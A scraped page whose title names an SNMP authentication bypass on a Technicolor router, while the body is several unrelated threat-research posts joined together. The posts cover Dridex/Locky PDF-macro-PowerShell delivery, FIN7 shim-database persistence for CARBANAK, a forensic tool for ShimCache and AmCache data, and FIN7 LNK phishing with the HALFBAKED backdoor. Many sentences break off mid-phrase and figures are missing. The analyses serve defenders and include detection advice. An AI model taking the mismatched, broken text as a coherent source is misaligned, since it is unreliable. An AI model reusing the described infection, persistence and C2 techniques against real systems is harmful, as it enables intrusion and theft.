Technicolor DPC3928SL – SNMP Authentication Bypass
Dridex and Locky, two prolific malware families that made waves in
2016 after being distributed in several high-volume spam campaigns,
have returned after a brief hiatus. FireEye observed a decline in the
volume of Dridex and Locky in the latter half of 2016, but we recently
observed two new large campaigns.
While the PDF downloader described in this post is responsible for
spreading both Dridex and Locky, for the purposes of this blog, we
will be discussing the PDF downloader and the Dridex binary.
The larger of the two campaigns (Figure 1) involved a “payment
receipt” theme and, according to our telemetry, primarily affected the
insurance industry in the U.S.
Figure 1: Telemetry for the larger campaign
In the smaller of the two campaigns (Figure 2), the attachment was
claimed to be an alert from a printer for a scanned document. This
campaign primarily affected the government sector in the Middle East,
U.S., and Japan.
Figure 2: Telemetry for the smaller campaign
As seen in Figure 3, at a high-level, the execution flow consists of:
- Spam campaign email containing a malicious PDF file
- Attached PDF file drops and executes a DOCM document
Dropped document file contains a macro which launches a
PowerShell script upon execution.
PowerShell script then fetches an encrypted binary from the
command and control (C2) server
Encrypted Binary is decrypted and executed, and malicious
payload is dropped and launched
Figure 3: Full Execution Flow
We observed two patterns of subject lines used in these campaigns.
One is Payment_XXX, where XXX refers to any random number,
while the other one is Scanned image from MX-2600N. Figure 4
shows sample spam emails from both campaigns.
Figure 4: Spam Email Examples
Attached PDF File:
The PDF attachment contains several objects, but the most relevant
ones are an embedded DOCM file (a macro enabled doc file) and a
shows the embedded DOCM file, and Figure 6 shows a snippet of the
Figure 5: DOCM file header in Object 3
reference to DOCM file to be dropped and executed
When the PDF document is opened, Adobe Reader displays a warning as
shown in Figure 7, clearly stating that the attached file may be harmful.
Figure 7: Security Warning by Adobe
If the user ignores the warning and clicks OK, the DOCM file is
written to %temp% and then launched.
Dropped Document File:
The document file opens in read only or protected mode, which means
the macro inside the document file is not able to execute. To bypass
this mechanism, the document displays a message prompting the user
to “Enable Editing”, as seen in Figure 8.
Figure 8: Protected Document Asking for
Permission to Enable Editing
Once a victim clicks “Enable Editing”, the embedded macro executes.
In Figure 9, we can see that the command to be executed is hidden in
the caption of form1. This macro executes a PowerShell command to
communicate with the C2 server and downloads the next payload.
Figure 9: Embedded Macro
Figure 10 shows how the command is hidden a form.
Figure 10: Command Hidden a Form
The powershell is obfuscated and it can be de-obfuscated with the
algorithm in Figure 11. Once executed, the scripts main function is to
connect with the C2 server to retrieve a payload. The script contains
an array of URIs, and it tries each one until it successfully receives
a valid response from the server.
Figure 11: De-obfuscation routine for the
obfuscated Powershell script
After de-obfuscating the script, it appears to be divided into two parts:
C2 Communication: In this step, the script generates the C2
domains and sends requests to them via HTTP. It checks for the
response received, and if the response is not OK , it then
re-tries the communication with another host.
Decryption of received data: If the server is alive, it
responds with the data. The data is encrypted before being sent and
then decrypted by the script via simple XOR. Figure 12 shows the C2
server communication details.
Figure 12: C2 Communication
During a sample run, the script requests the resource “/dfv45” from
18.104.22.168 and 22.214.171.124 and successfully receives a
response from the second host.
The response is XOR encrypted. Figure 13 shows the response header.
Figure 13: C2 Response Header
The PowerShell script decodes the response and writes the decoded
executable into %temp%. A python script to decode the response is
shown in Figure 14.
Figure 14: Decryption Routine Code Snippet
The Final Payload
Up to this point, the process for distributing Dridex and Locky
payloads has been the same. The malware that is delivered depends on
the C2 server that is contacted.
In this case, the sample fetched the Dridex payload. When executed,
Dridex unpacks and runs itself within the context of svchost.exe or
spoolsv.exe via process hallowing to evade detection.
Dridex and Locky have been highly active and prolific in the past
several months, and although the delivery mechanism often changes, the
core behavior of the family remains unchanged. Dridex is one of the
most active banking Trojans from the last few years, and Locky is one
of the most active ransomware families. If the past year is any
indication, Dridex and Locky distributors will continue to search for
ways to evade detection. FireEye is committed to remaining vigilant
against these efforts.
URLs seen distributing Dridex
URLs seen distributing Locky
Dridex C2 Servers
Due to the widespread nature of these phishing campaigns,
organizations can better protect themselves by addressing several key areas:
Implement a web proxy: By deploying a web proxy,
organizations will have the capability to craft rules which block
outbound access to the unique URI parameters “/dvf45/” and
“kjv783r/” used by Dridex and Locky. Note that this is a mitigation
with limited durability and will require an increased awareness of
Develop egress firewall policies: Develop and understanding
of the necessary outbound traffic your organizations requires and,
combined with a web proxy, block all unnecessary outbound traffic
while forcing web and other authorized traffic through the proxy. By
monitoring for violations, an organization can develop additional
FireEye Multi Vector Execution (MVX) engine is able to
recognize and block this threat.
Enable enhanced PowerShell logging: Improving your
into PowerShell logging has numerous benefits, one of which
being the ability to determine malicious use of PowerShell such as
is leveraged in this campaign.
Stakes high for organizations that ignore simple, but detrimental cyber tacticsCategory:Incident Response and ManagementRisk ManagementStakes are high for organizations that ignore simple, but detrimental cyber tactics. Here are steps to guard against…
In 2017, Mandiant responded to multiple incidents we attribute to
FIN7, a financially motivated threat group associated with malicious
operations dating back to 2015. Throughout the various environments,
FIN7 leveraged the CARBANAK backdoor, which this group has used in
A unique aspect of the incidents was how the group installed the
CARBANAK backdoor for persistent access. Mandiant identified that the
group leveraged an application shim database to achieve persistence on
systems in multiple environments. The shim injected a malicious
in-memory patch into the Services Control Manager (“services.exe”)
process, and then spawned a CARBANAK backdoor process.
Mandiant identified that FIN7 also used this technique to install a
payment card harvesting utility for persistent access. This was a
departure from FIN7’s previous approach of installing a malicious
Windows service for process injection and persistent access.
Application Compatibility Shims Background
According to Microsoft, an application compatibility shim is
a small library that transparently intercepts an API (via hooking), changes
the parameters passed, handles the operation itself, or
redirects the operation elsewhere, such as additional code stored on a
system. Today, shims are mainly used for compatibility purposes for
legacy applications. While shims serve a legitimate purpose, they can
also be used in a malicious manner. Mandiant consultants previously
discussed shim databases at both BruCon
Shim Database Registration
There are multiple ways to register a shim database on a system. One
technique is to use the built-in “sdbinst.exe” command line
tool. Figure 1 displays the two registry keys created when a shim is
registered with the “sdbinst.exe” utility.
Figure 1: Shim database registry keys
Once a shim database has been registered on a system, the shim
database file (“.sdb” file extension) will be copied to the
“C:\Windows\AppPatch\Custom” directory for 32-bit shims or
“C:\Windows\AppPatch\Custom\Custom64” directory for 64-bit shims.
Malicious Shim Database Installation
To install and register the malicious shim database on a system,
FIN7 used a custom Base64 encoded PowerShell script, which ran the
“sdbinst.exe” utility to register a custom shim database file
containing a patch onto a system. Figure 2 provides a decoded excerpt
from a recovered FIN7 PowerShell script showing the parameters for
Figure 2: Excerpt from a FIN7 PowerShell script
to install a custom shim
FIN7 used various naming conventions for the shim database files
that were installed and registered on systems with the “sdbinst.exe”
utility. A common observance was the creation of a shim database file
with a “.tmp” file extension (Figure 3).
Figure 3: Malicious shim database example
Upon registering the custom shim database on a system, a file named
with a random GUID and an “.sdb” extension was written to the 64-bit
shim database default directory, as shown in Figure 4. The registered
shim database file had the same MD5 hash as the file that was
initially created in the “C:\Windows\Temp” directory.
Figure 4: Shim database after registration
In addition, specific registry keys were created that correlated to
the shim database registration. Figure 5 shows the keys and values
related to this shim installation.
Figure 5: Shim database registry keys
The database description used for the shim database registration,
“Microsoft KB2832077” was interesting because this KB number was not a
published Microsoft Knowledge Base patch. This description (shown in
Figure 6) appeared in the listing of installed programs within the
Windows Control Panel on the compromised system.
Figure 6: Shim database as an installed application
Malicious Shim Database Details
During the investigations, Mandiant observed that FIN7 used a custom
shim database to patch both the 32-bit and 64-bit versions of
“services.exe” with their CARBANAK payload. This occurred when the
“services.exe” process executed at startup. The shim database file
contained shellcode for a first stage loader that obtained an
additional shellcode payload stored in a registry key. The second
stage shellcode launched the CARBANAK DLL (stored in a registry key),
which spawned an instance of Service Host (“svchost.exe”) and injected
itself into that process.
Figure 7 shows a parsed shim
database file that was leveraged by FIN7.
Figure 7: Parsed shim database file
For the first stage loader, the patch overwrote the
“ScRegisterTCPEndpoint” function at relative virtual address (RVA)
“0x0001407c” within the services.exe process with the malicious
shellcode from the shim database file.
The new “ScRegisterTCPEndpoint” function (shellcode) contained a
reference to the path of “\REGISTRY\MACHINE\SOFTWARE\Microsoft\DRM”,
which is a registry location where additional malicious shellcode and
the CARBANAK DLL payload was stored on the system.
Figure 8 provides an excerpt of the parsed patch structure within
the recovered shim database file.
Figure 8: Parsed patch structure from the shim
The shellcode stored within the registry path
“HKLM\SOFTWARE\Microsoft\DRM” used the API function
“RtlDecompressBuffer” to decompress the payload. It then slept for
four minutes before calling the CARBANAK DLL payload’s entry point on
the system. Once loaded in memory, it created a new process named
“svchost.exe” that contained the CARBANAK DLL.
Bringing it Together
Figure 9 provides a high-level overview of a shim database being
leveraged as a persistent mechanism for utilizing an in-memory patch,
injecting shellcode into the 64-bit version of “services.exe”.
Figure 9: Shim database code injection process
Mandiant recommends the following to detect malicious application
shimming in an environment:
- Monitor for new shim database files created in the default
shim database directories of “C:\Windows\AppPatch\Custom” and
- Monitor for registry
key creation and/or modification events for the keys of
process execution events and command line arguments for malicious
use of the “sdbinst.exe” utility
Security solutions aren’t one-size-fits-all and evaluating the options can be a challenge. Here’s where to begin.
Cybersecurity solutions aren’t one-size-fits-all and evaluating the options can be a challenge. Here’s where to begin.
Five years ago, Mandiant released a proof of concept tool named
ShimCacheParser, along with a blog post titled “Leveraging
the Application Compatibility Cache in Forensic Investigations”.
Since then, ShimCache metadata has become increasingly popular as a
source of forensic evidence, both for standalone analysis and
enterprise intrusion investigations.
While five years may seem like a long time, few community efforts
have focused on leveraging ShimCache metadata at an enterprise scale.
Today, we intend to fix that with the release of a new tool called AppCompatProcessor.
AppCompatProcessor started as a simple tool to automate
ShimCacheParser execution on enterprise-wide investigations,
leveraging Python’s multiprocessing module to speed up the parsing
process. Later, it evolved to support faster regular expression
searching and has continued to evolve ever since. Today, it handles
both AppCompat and AmCache artifacts, has modules for processing more
than 11 different formats, and contains some novel analytics to
redefine the way we look at execution trace artifacts.
Available ‘Modules’ in the Initial Release
Upon execution, AppCompatProcessor (ACP) enumerates all the
available commands we refer to as ‘modules’, as seen in Figure 1.
Figure 1: List of commands and modules
Investigators will likely use ‘load’, ‘status’, ‘list’ and
‘dump’ first. These will enable you to ingest data and enumerate
loaded hosts or dump the data for a specific host in the database.
Once you have ingested your data, the ‘search’ module will
enable you to search against a list of known-bad regular expressions
as part of your triaging or hunting methodology. The module will also
enable you to perform enterprise-wide string literal or regex searches
Regular expression searching leverages multiprocessing “under the
hood”. However, for simple literal string searches, the
‘fsearch’ module will automatically use the available indexes
to provide investigators with virtually immediate results.
The ‘Search’ and ‘FSearch’ functions empower an investigator to
search across the enterprise and much more. Perhaps you have found a
dropper and need to know the other systems it was executed on. Perhaps
an attacker is randomizing versioning information for binaries (stored
in AmCache), which is predictable. Perhaps the attacker has only been
active during specific timeframes. These objectives, and many more,
are capable using AppCompatProcessor. Due to the number of analysis
features offered by this tool, we will only discuss a subset of them.
Check the GitHub
page for a more detailed description of each feature.
leven’: Based on the Levenshtein
distance algorithm, which measures the ‘edit distance’ between
two strings, the module will identify small deviations from any known
legitimate filename present in the Windows\System32 folder on your
dataset. ‘svchosts.exe’, ‘svch0st.exe’, ‘scvhost.exe’ – how many of
those do we have to search for? None. ‘leven’ will spot all of
them, as well as any other possible variation, and will do so for all
legitimate file names and conveniently report them for you to
investigate. You can also run the ‘leven’ module with a
user-supplied filename. In that case, ACP will report all small
deviations in your dataset, regardless of the folder those files are
found in. This is an effective technique for spotting attacker
intentional or unintended typos during an investigation.
Figure 2: High level explanation of how temporal
execution strength is calculated
tcorr’: This module is based on a Temporal Correlation
execution engine, as shown in Figure 2. You supply a file name to it,
and it will determine what other files were executed before and after
(within a user configurable window). It calculates a correlation
‘strength’ index, which it uses to display the list of files that
present the strongest temporal execution correlation indexes with your
file name of interest. It will also automatically calculate if the
correlation is mutual by calculating the inverse correlation index,
which it will report as an ‘Inverse Bond’. ‘tcorr’ is great way
to triage suspicious files, or to easily find additional attacker
files as the investigation progresses. As a simple example, Figure 3
illustrates the results generated by ‘tcorr’ for “net.exe”. The
results provided evidence of the well-known fact that “net.exe” will
always execute “net1.exe”, resulting in a very strong temporal
execution correlation between both.
Figure 3: Explained output of “tcorr net.exe” command
tstack’: Investigators often question if they’ve
overlooked some detail as a result of an attacker deviating from
observed TTPs. Time stacking analytics have been designed to provide
you with the list of file names that have predominantly executed
within, or close to, the supplied attacker’s time frame of activity,
as seen in Figure 4. As the technique is inherently most effective for
narrow time intervals, investigators will want to focus around the
time frames associated with attacker lateral movement.
Figure 4: Time Stacking calculation
One of the main reasons for the Open Source release of ACP is to
provide a framework for the community at large to delve into advanced
analytics. Having a tool available that automates some of the analysis
of ShimCache and AmCache artifacts at enterprise scale should lower
the entry barrier for investigators interested in developing advanced
analytics. There’s a tremendous amount of untapped value on advanced
execution trace analytics. The examples presented here, while
immediately useful, are just the beginning.
Download AppCompatProcessor today.
Here’s how a proactive approach to targeted threat hunting can better prepare hospitals against cyberattacksCategory:Leadership InsightsIncident Response and ManagementRead how a proactive approach to targeted threat hunting can better prepare hospital…
FIN7 is a financially-motivated threat group that has been associated
with malicious operations dating back to late 2015. FIN7 is referred
to by many vendors as “Carbanak Group”, although we do not equate all
usage of the CARBANAK backdoor with FIN7. FireEye recently observed a
spear phishing campaign targeting personnel involved with United
States Securities and Exchange Commission (SEC) filings at various organizations.
In a newly-identified campaign, FIN7 modified their phishing
techniques to implement unique infection and persistence mechanisms.
FIN7 has moved away from weaponized Microsoft Office macros in order
to evade detection. This round of FIN7 phishing lures implements
hidden shortcut files (LNK files) to initiate the infection and
VBScript functionality launched by mshta.exe to infect the victim.
In this ongoing campaign, FIN7 is targeting organizations with spear
phishing emails containing either a malicious DOCX or RTF file – two
versions of the same LNK file and VBScript technique. These lures
originate from external email addresses that the attacker rarely
re-used, and they were sent to various locations of large restaurant
chains, hospitality, and financial service organizations. The subjects
and attachments were themed as complaints, catering orders, or
resumes. As with previous campaigns, and as highlighted in our annual
M-Trends 2017 report, FIN7 is calling stores at targeted
organizations to ensure they received the email and attempting to walk
them through the infection process.
While FIN7 has embedded VBE as OLE objects for over a year, they
continue to update their script launching mechanisms. In the current
lures, both the malicious DOCX and RTF attempt to convince the user to
double-click on the image in the document, as seen in Figure 1. This
spawns the hidden embedded malicious LNK file in the document.
Overall, this is a more effective phishing tactic since the malicious
content is embedded in the document content rather than packaged in
the OLE object.
By requiring this unique interaction – double-clicking on the image
and clicking the “Open” button in the security warning popup – the
phishing lure attempts to evade dynamic detection as many sandboxes
are not configured to simulate that specific user action.
Figure 1: Malicious FIN7 lure asking victim to
double click to unlock contents
The malicious LNK launches “mshta.exe” with the following arguments
passed to it:
vbscript:Execute(“On Error Resume Next:set
The script in the argument combines all the textbox contents in the
document and executes them, as seen in Figure 2.
Figure 2: Textbox inside DOC
The combined script from Word textbox drops the following components:
Also, the script creates a named schedule task for persistence to
launch “58d2a83f7778d5.36783181.vbs” every 25 minutes.
The dropped script “58d2a83f7778d5.36783181.vbs” acts as a launcher.
This VBScript checks if the “58d2a83f777942.26535794.ps1” PowerShell
script is running using WMI queries and, if not, launches it.
“58d2a83f777942.26535794.ps1” is a multilayer obfuscated PowerShell
script, which launches shellcode for a Cobalt Strike stager.
The shellcode retrieves an additional payload by connecting to the
following C2 server using DNS:
Once a successful reply is received from the command and control
(C2) server, the PowerShell script executes the embedded Cobalt Strike
shellcode. If unable to contact the C2 server initially, the shellcode
is configured to reattempt communication with the C2 server address in
the following pattern:
“mshta.exe” further executes the second VBScript
“58d2a83f777908.23270411.vbs”, which creates a folder by GUID name
inside “Intel” and drops the VBScript payloads and configuration files:
This script then executes “58d2a83f777716.48248237.vbs”, which is a
variant of FIN7’s HALFBAKED backdoor.
HALFBAKED Backdoor Variant
The HALFBAKED malware family consists of multiple components
designed to establish and maintain a foothold in victim networks, with
the ultimate goal of gaining access to sensitive financial
information. This version of HALFBAKED connects to the following C2 server:
This version of HALFBAKED listens for the following commands from
the C2 server:
info: Sends victim machine information (OS, Processor, BIOS
and running processes) using WMI queries
- processList: Send list of process running
screenshot: Takes screen shot of victim machine (using
- runvbs: Executes a VB script
- runexe: Executes EXE file
- runps1: Executes PowerShell script
- delete: Delete the specified file
- update: Update the specified file
All communication between the backdoor and attacker C2 are encoded
using the following technique, represented in pseudo code:
encoded_data = URLEncode(SimpleEncrypt(data))
post_data(“POST”, random_string &
“=” & encoded_data, Hard_coded_c2_url,
The FireEye iSIGHT Intelligence MySIGHT Portal contains additional
information based on our investigations of a variety of topics
discussed in this post, including FIN7 and the HALFBAKED backdoor.
Click here for
Figure 3 shows that for persistence, the document creates two
scheduled tasks and creates one auto-start registry entry pointing to
the LNK file.
Figure 3: FIN7 phishing lure persistence mechanisms
Examining Attacker Shortcut Files
In many cases, attacker-created LNK files can reveal valuable
information about the attacker’s development environment. These files
can be parsed with lnk-parser to
extract all contents. LNK files have been valuable during Mandiant
incident response investigations as they include volume serial number,
NetBIOS name, and MAC address.
For example, one of these FIN7 LNK files contained the following properties:
- Version: 0
- NetBIOS name: andy-pc
volume identifier: e2c10c40-6f7d-4442-bcec-470c96730bca
- Droid file identifier: a6eea972-0e2f-11e7-8b2d-0800273d5268
- Birth droid volume identifier:
- Birth droid file
- UUID timestamp: 03/21/2017
- UUID sequence number: 2861
From this LNK file, we can see not only what the shortcut launched
within the string data, but that the attacker likely generated this
file on a VirtualBox system with hostname “andy-pc” on March 21, 2017.
Example Phishing Lures
- Filename: Doc33.docx
- MD5: 6a5a42ed234910121dbb7d1994ab5a5e
- Filename: Mail.rtf
- MD5: 1a9e113b2f3caa7a141a94c8bc187ea7
FIN7 April 2017 Community Protection Event
On April 12, in response to FIN7 actively targeting multiple
clients, FireEye kicked off a Community Protection Event (CPE) – a
coordinated effort by FireEye as a Service (FaaS), Mandiant, FireEye
iSight Intelligence, and our product team – to secure all clients
affected by this campaign.